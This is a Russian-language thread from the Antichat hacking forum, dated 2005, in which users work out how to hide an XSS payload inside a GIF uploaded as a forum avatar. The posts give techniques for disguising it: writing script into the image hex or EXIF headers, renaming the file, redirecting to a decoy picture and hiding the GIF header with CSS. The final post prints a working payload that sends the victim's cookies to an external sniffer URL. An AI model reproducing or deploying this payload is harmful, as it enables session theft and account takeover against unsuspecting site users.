Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Сокрытие xss в картинке (https://forum.antichat.xyz/showthread.php?t=11007)

W.W. 22.11.2005 09:44

Сокрытие xss в картинке
 
Я создал GIF размером 1*1, вписал в него в HEX'e свой код, переименовал файл в ЖПЕГ (чтобы ИЕ не пытался отрисовать GIF, а сразу кидался на выполнение кода) и загрузил как аватару на форум. (почти точная копия аватары валяется здесь, открывать в ИЕ не рекомендуется) Проблема в следующем: мне необходим скрипт, скрывающий хедэр GIF89a. Если есть такое в природе - поделитесь, ибо сам Явы не знаю. Картинку впихнул для маскировки, но это - попытка спрятать рояль в кустах...

avrely 22.11.2005 22:33

вписывай скрипт в заголовки exif

и человек должен пройти по ссылке твоей аватары чтобы куки отослались.

W.W. 22.11.2005 22:47

То, что юзер должен по ссылке прогуляться - это я знаю. Хочется, чтобы по ссылке его помимо сниффера ожидала обычная картинка. Получится так?

avrely 22.11.2005 23:02

после скрипта поставь редирект

<meta http-equiv=refresh content=0;URL=тут_адресс_картинки>

W.W. 22.11.2005 23:36

Об этом я думал, но не проверял, будет редир заметен или нет...

GreenBear 22.11.2005 23:38

а не проще ли
<script>...</script>
<img src=image.gif>
использовать?

W.W. 22.11.2005 23:50

У меня в файле так и стоит, но перед картинкой возникает надпись "GIF89a", которую надо запрятать.

GreenBear 22.11.2005 23:51

используй *.jpg
эфект тотже, но вроде не кажет ничего лишнего.

pch 23.11.2005 01:02

GIF98 можно спрятать через <style>:
Код:

<style>
          *{display:none}
            IMG {display:block}
</style>

У меня это проходило.
ЗЫ Может быть не display, a visible - точно не помню

W.W. 23.11.2005 01:24

Green_Bear, баг в том и заключается, что ИЕ выполняет hex-код только в ГИФах.
Насчет style - ща протестю.

Да, Style полностью отключил всё отображение страницы (говорила же мне мама: сынок, учи HTML!)
Тестовый вариант: http://webfile.ru/648765

W.W. 23.11.2005 02:43

итог моих стараний на пока: http://webfile.ru/648850

Код ГИФа:
Код:

<html>
<head>
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?antichat"+document.cookie;</SCRIPT>
<meta http-equiv="refresh" content="0; URL= http://avatars.pp.ru/90x90/game/00001.jpg">
</head>
<body>
<style>*{display:none}img {display:block}</style>
</body>
</html>



Время: 13:48